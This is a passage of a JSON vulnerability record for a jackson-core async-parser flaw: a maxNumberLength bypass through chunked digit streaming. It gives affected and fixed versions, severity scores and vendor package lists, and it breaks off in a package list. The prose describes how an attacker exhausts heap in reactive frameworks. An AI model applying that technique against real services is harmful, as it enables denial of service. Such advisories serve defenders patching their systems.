{"id":"CVE-2026-68494","aliases":["CLSA-2026-1789484097","CLSA-2026-1791485698","CLSA-2026-1791485784","CLSA-2026-1791493683","CLSA-2026-1791495450","CLSA-2026-1792399460","CLSA-2026-1792399472","CLSA-2026-1792428449","CLSA-2026-1792431620","CLSA-2026-1792431627","CLSA-2026-1792434304","CLSA-2026-1793085045","CLSA-2026-1793085177","CLSA-2026-1793085261","CLSA-2026-1793087308","CLSA-2026-1793196284","CLSA-2026-1793196558","CLSA-2026-1793196650","CLSA-2026-1793599822","EUVD-2026-52703","GHSA-642r-3gj9-2pj5","GHSA-72hv-8253-57qq","GHSA-r7wm-3cxj-wff9","RHSA-2026:53644","RHSA-2026:53645","RHSA-2026:53646","RHSA-2026:63327","RHSA-2026:63385","RHSA-2026:63386","RHSA-2026:63387","RHSA-2026:70228","RHSA-2026:70229","RHSA-2026:70230","RHSA-2026:76128","RHSA-2026:76129","RHSA-2026:76130","ROOT-APP-MAVEN-CVE-2026-68494","ROOT-APP-MAVEN-GHSA-642r-3gj9-2pj5","ROOT-APP-MAVEN-GHSA-r7wm-3cxj-wff9","SUSE-SU-2026:24149-1","SUSE-SU-2026:4394-1","UBUNTU-CVE-2026-68494","openSUSE-SU-2026:11638-1","openSUSE-SU-2026:22034-1","sonatype-2022-6438"],"status":"published","title":"jackson-core: Async parser maxNumberLength bypass via chunked digit accumulation (incomplete fix for CVE-2026-18401 / GHSA-72hv-8253-57qq)","description":"The fix released in jackson-core 2.18.6 and 2.21.1 for CVE-2026-18401 (GHSA-72hv-8253-57qq, number length constraint bypass in the non-blocking parser) is incomplete. This record covers the remaining bypass.\n\nThe earlier fix wired validateIntegerLength() into a new _setIntLength() helper and invoked it wherever the integer portion of a number is decided: a terminator byte arrives, a '.' or 'e'/'E' is seen, or input ends inside a fully buffered value. It was not invoked on the attacker-relevant path where the parser runs out of input while still inside the MINOR_NUMBER_INTEGER_DIGITS minor state and returns NOT_AVAILABLE to the caller.\n\nAs a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, keeps the parser inside MINOR_NUMBER_INTEGER_DIGITS indefinitely. _textBuffer.expandCurrentSegment() grows the accumulator on every chunk while validateIntegerLength() is never called. The accumulator is bounded only by maxStringLength (20 MiB by default) rather than by maxNumberLength (1000 by default), an amplification of roughly 20,000x over the documented limit. Because Java char values occupy two bytes, a single connection can be driven to approximately 40 MiB of heap before the validator finally fires when the value completes.\n\nThe equivalent fraction-path code is correct: _finishFloatFraction() calls _setFractLength() before its NOT_AVAILABLE return. The missing call affects the integer-digit paths in _startPositiveNumber(), _startNegativeNumber() and _finishNumberIntegralPart() in NonBlockingUtf8JsonParserBase.\n\nImpact: reactive frameworks such as Spring WebFlux/Reactor, Quarkus, Helidon and Vert.x feed inbound HTTP or gRPC bytes to the async parser as they arrive, which is precisely the chunked-feed shape required. Operators who set StreamReadConstraints.maxNumberLength expecting it to cap memory per number value do not get that guarantee; memory accumulates per concurrent connection and attacker-controlled concurrency can exhaust the JVM heap. The synchronous parsers (UTF8StreamJsonParser, ReaderBasedJsonParser) and the async parser operating on complete input are not affected.\n\nExploitation requires only the ability to stream data to a parsing endpoint; no privileges or user interaction are needed.\n\nThis issue affects com.fasterxml.jackson.core:jackson-core from version 2.15.0 through 2.18.7, and from 2.19.0 through 2.21.3, and tools.jackson.core:jackson-core from 3.0.0 through 3.1.3. Versions prior to 2.15.0 are not affected, because StreamReadConstraints -- which defines the maxNumberLength setting -- was first introduced in jackson-core 2.15.0, so no such constraint exists to be bypassed in earlier releases. Note that GHSA-r7wm-3cxj-wff9 states the affected 2.x range without a lower bound. The 2.22.x and 3.2.x release lines are not affected: those branches were created after the fix commit landed on 2026-05-21 and therefore contain it from their initial releases (2.22.0, tagged 2026-06-03, and 3.2.0, tagged 2026-06-08).","severity":{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00463,"percentile":0.40462,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-770"],"published":"2026-07-21T21:58:53Z","modified":"2026-11-05T09:15:09Z","fixes":[{"ecosystem":"Maven","package":"com.fasterxml.jackson.core:jackson-core","fixed_in":["2.18.8","2.21.4"],"sources":["ghsa","osv"]},{"ecosystem":"Maven","package":"tools.jackson.core:jackson-core","fixed_in":["3.1.4"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","fixed_in":["2.18.0-tuxcare.1","2.15.4-tuxcare.2","2.13.5-tuxcare.2","2.15.2-tuxcare.2","2.15.3-tuxcare.2","2.14.3-tuxcare.2"],"sources":["osv"]},{"ecosystem":"Root:Maven","package":"com.fasterxml.jackson.core:jackson-core","fixed_in":["2.21.3-aikido.2","2.14.2-aikido.4","2.15.2-aikido.3","2.17.1-aikido.3","2.13.0-aikido.2","2.21.2-aikido.3","2.12.7-aikido.7","2.17.2-aikido.5","2.13.5-aikido.2","2.18.3-aikido.3","2.21.4-aikido.1","2.18.8-aikido.1","2.12.7-aikido.3","2.12.7-aikido.4","2.21.3-aikido.1","2.14.2-aikido.3","2.15.2-aikido.2","2.14.3-aikido.3","2.12.3-aikido.3","2.12.4-aikido.3","2.13.2-aikido.4","2.12.5-aikido.3","2.13.4-aikido.3","2.14.1-aikido.3","2.10.1-aikido.3","2.22.0-aikido.1","2.18.6-aikido.1","2.18.7-aikido.1","2.17.2-aikido.2","2.19.4-aikido.2","2.17.0-aikido.2","2.17.1-aikido.2","2.15.3-aikido.3","2.21.2-aikido.1","2.19.2-aikido.1","2.15.0-aikido.1","2.21.1-aikido.1","2.13.0-aikido.1","2.3.1-aikido.1","2.17.2-aikido.3","2.17.2-aikido.4","2.21.2-aikido.2","2.12.7-aikido.5","2.12.7-aikido.6","2.13.5-aikido.1","2.22.0-aikido.2"],"sources":["osv"]},{"ecosystem":"Root:Maven","package":"tools.jackson.core:jackson-core","fixed_in":["3.1.4-aikido.1","3.1.1-aikido.1","3.1.0-aikido.3"],"sources":["osv"]},{"ecosystem":"Root:Maven","package":"io.root.com.fasterxml.jackson.core:jackson-core","fixed_in":["2.21.3-root.io.2","2.14.2-root.io.4","2.15.2-root.io.3","2.17.1-root.io.3","2.13.0-root.io.2","2.21.2-root.io.3","2.12.7-root.io.7","2.17.2-root.io.5","2.13.5-root.io.2","2.18.3-root.io.3","2.21.4-root.io.1","2.18.8-root.io.1","2.12.7-root.io.3","2.12.7-root.io.4","2.21.3-root.io.1","2.14.2-root.io.3","2.15.2-root.io.2","2.14.3-root.io.3","2.12.3-root.io.3","2.12.4-root.io.3","2.13.2-root.io.4","2.12.5-root.io.3","2.13.4-root.io.3","2.14.1-root.io.3","2.10.1-root.io.3","2.22.0-root.io.1","2.18.6-root.io.1","2.18.7-root.io.1","2.17.2-root.io.2","2.19.4-root.io.2","2.17.0-root.io.2","2.17.1-root.io.2","2.15.3-root.io.3","2.21.2-root.io.1","2.19.2-root.io.1","2.21.1-root.io.1","2.15.0-root.io.1","2.13.0-root.io.1","2.3.1-root.io.1","2.17.2-root.io.3","2.17.2-root.io.4","2.21.2-root.io.2","2.12.7-root.io.5","2.12.7-root.io.6","2.13.5-root.io.1","2.22.0-root.io.2"],"sources":["osv"]},{"ecosystem":"Root:Maven","package":"io.root.tools.jackson.core:jackson-core","fixed_in":["3.1.4-root.io.1","3.1.1-root.io.1","3.1.0-root.io.3"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.8"}]}]},{"source":"ghsa","ecosystem":"Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.19.0"},{"fixed":"2.21.4"}]}]},{"source":"ghsa","ecosystem":"Maven","package":"tools.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0"},{"fixed":"3.1.4"}]}]},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.17.2"},{"fixed":"2.17.2-tuxcare.1"}]}],"versions":["2.17.2"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.17.1"},{"fixed":"2.17.1-tuxcare.1"}]}],"versions":["2.17.1"],"bundled":4},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.17.3"},{"fixed":"2.17.3-tuxcare.2"}]}],"versions":["2.17.3","2.17.3-tuxcare.1"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.14.2"},{"fixed":"2.14.2-tuxcare.3"}]}],"versions":["2.14.2","2.14.2-tuxcare.1","2.14.2-tuxcare.2"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.14.1"},{"fixed":"2.14.1-tuxcare.2"}]}],"versions":["2.14.1","2.14.1-tuxcare.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.13.2"},{"fixed":"2.13.2-tuxcare.1"}]}],"versions":["2.13.2"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.13.4"},{"fixed":"2.13.4-tuxcare.1"}]}],"versions":["2.13.4"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.18.0"},{"fixed":"2.18.0-tuxcare.1"}]}],"versions":["2.18.0"]},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.16.1"},{"fixed":"2.16.1-tuxcare.1"}]}],"versions":["2.16.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.15.0"},{"fixed":"2.15.0-tuxcare.1"}]}],"versions":["2.15.0"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.13.3"},{"fixed":"2.13.3-tuxcare.1"}]}],"versions":["2.13.3"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.18.4.1"},{"fixed":"2.18.4.1-tuxcare.2"}]}],"versions":["2.18.4.1","2.18.4.1-tuxcare.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.20.1"},{"fixed":"2.20.1-tuxcare.1"}]}],"versions":["2.20.1"],"bundled":4},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.15.4"},{"fixed":"2.15.4-tuxcare.2"}]}],"versions":["2.15.4","2.15.4-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.13.5"},{"fixed":"2.13.5-tuxcare.2"}]}],"versions":["2.13.5","2.13.5-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.15.2"},{"fixed":"2.15.2-tuxcare.2"}]}],"versions":["2.15.2","2.15.2-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.15.3"},{"fixed":"2.15.3-tuxcare.2"}]}],"versions":["2.15.3","2.15.3-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.14.3"},{"fixed":"2.14.3-tuxcare.2"}]}],"versions":["2.14.3","2.14.3-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.21.2"},{"fixed":"2.21.2-tuxcare.2"}]}],"versions":["2.21.2","2.21.2-tuxcare.1"],"bundled":2},{"source":"osv","ecosystem":"Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.8"}]}],"versions":["2.0.0","2.0.0-RC1","2.0.0-RC2","2.0.0-RC3","2.0.1","2.0.2","2.0.4","2.0.5","2.0.6","2.1.0","2.1.1","2.1.2","2.1.3","2.1.4","2.1.5","2.10.0","2.10.0.pr1","2.10.0.pr2","2.10.0.pr3","2.10.1","2.10.2","2.10.3","2.10.4","2.10.5","2.11.0","2.11.0.rc1","2.11.1","2.11.2","2.11.3","2.11.4","2.12.0","2.12.0-rc1","2.12.0-rc2","2.12.1","2.12.2","2.12.3","2.12.4","2.12.5","2.12.6","2.12.7","2.13.0","2.13.0-rc1","2.13.0-rc2","2.13.1","2.13.2","2.13.3","2.13.4","2.13.5","2.14.0","2.14.0-rc1","2.14.0-rc2","2.14.0-rc3","2.14.1","2.14.2","2.14.3","2.15.0","2.15.0-rc1","2.15.0-rc2","2.15.0-rc3","2.15.1","2.15.2","2.15.3","2.15.4","2.16.0","2.16.0-rc1","2.16.1","2.16.2","2.17.0","2.17.0-rc1","2.17.1","2.17.2","2.17.3","2.18.0","2.18.0-rc1","2.18.1","2.18.2","2.18.3","2.18.4","2.18.4.1","2.18.5","2.18.6","2.18.7","2.2.0","2.2.0-rc1","2.2.1","2.2.2","2.2.3","2.2.4","2.3.0","2.3.0-rc1","2.3.1","2.3.2","2.3.3","2.3.4","2.3.5","2.4.0","2.4.0-rc1","2.4.0-rc2","2.4.0-rc3","2.4.1","2.4.1.1","2.4.2","2.4.3","2.4.4","2.4.5","2.4.6","2.5.0","2.5.0-rc1","2.5.1","2.5.2","2.5.3","2.5.4","2.5.5","2.6.0","2.6.0-rc1","2.6.0-rc2","2.6.0-rc3","2.6.0-rc4","2.6.1","2.6.2","2.6.3","2.6.4","2.6.5","2.6.6","2.6.7","2.7.0","2.7.0-rc1","2.7.0-rc2","2.7.0-rc3","2.7.1","2.7.2","2.7.3","2.7.4","2.7.5","2.7.6","2.7.7","2.7.8","2.7.9","2.8.0","2.8.0.rc1","2.8.0.rc2","2.8.1","2.8.10","2.8.11","2.8.2","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.0.pr1","2.9.0.pr2","2.9.0.pr3","2.9.0.pr4","2.9.1","2.9.10","2.9.2","2.9.3","2.9.4","2.9.5","2.9.6","2.9.7","2.9.8","2.9.9"]},{"source":"osv","ecosystem":"Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.19.0"},{"fixed":"2.21.4"}]}],"versions":["2.19.0","2.19.1","2.19.2","2.19.3","2.19.4","2.20.0","2.20.0-rc1","2.20.1","2.20.2","2.21.0","2.21.1","2.21.2","2.21.3"]},{"source":"osv","ecosystem":"Maven","package":"tools.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0"},{"fixed":"3.1.4"}]}],"versions":["3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.1.0","3.1.0-rc1","3.1.1","3.1.2","3.1.3"]},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-activemq-artemis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-activemq-artemis-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-activemq-artemis-commons","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-activemq-artemis-core-client","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-activemq-artemis-dto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-activemq-artemis-hornetq-protocol","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-activemq-artemis-hqclient-protocol","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-activemq-artemis-jdbc-store","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-activemq-artemis-jms-client","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-activemq-artemis-jms-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-activemq-artemis-journal","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-activemq-artemis-ra","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-activemq-artemis-selector","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-activemq-artemis-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-activemq-artemis-service-extensions","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-activemq-artemis-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-glassfish-jsf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.3.14-11.SP11_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-ironjacamar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-ironjacamar-common-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-ironjacamar-common-impl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-ironjacamar-common-spi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-ironjacamar-core-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-ironjacamar-core-impl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-ironjacamar-deployers-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-ironjacamar-jdbc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-ironjacamar-validator","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-jackson-datatype-jdk8","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-jackson-datatype-jsr310","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-jackson-jaxrs-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-jackson-jaxrs-json-provider","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-jackson-jaxrs-providers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-jackson-module-jaxb-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-jackson-modules-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-jackson-modules-java8","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-jboss-remoting","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.0.31-3.SP2_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-jboss-server-migration","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.10.0-46.Final_redhat_00044.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-jboss-server-migration-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.10.0-46.Final_redhat_00044.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-jboss-server-migration-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.10.0-46.Final_redhat_00044.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-all","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-buffer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-codec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-codec-haproxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-codec-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red 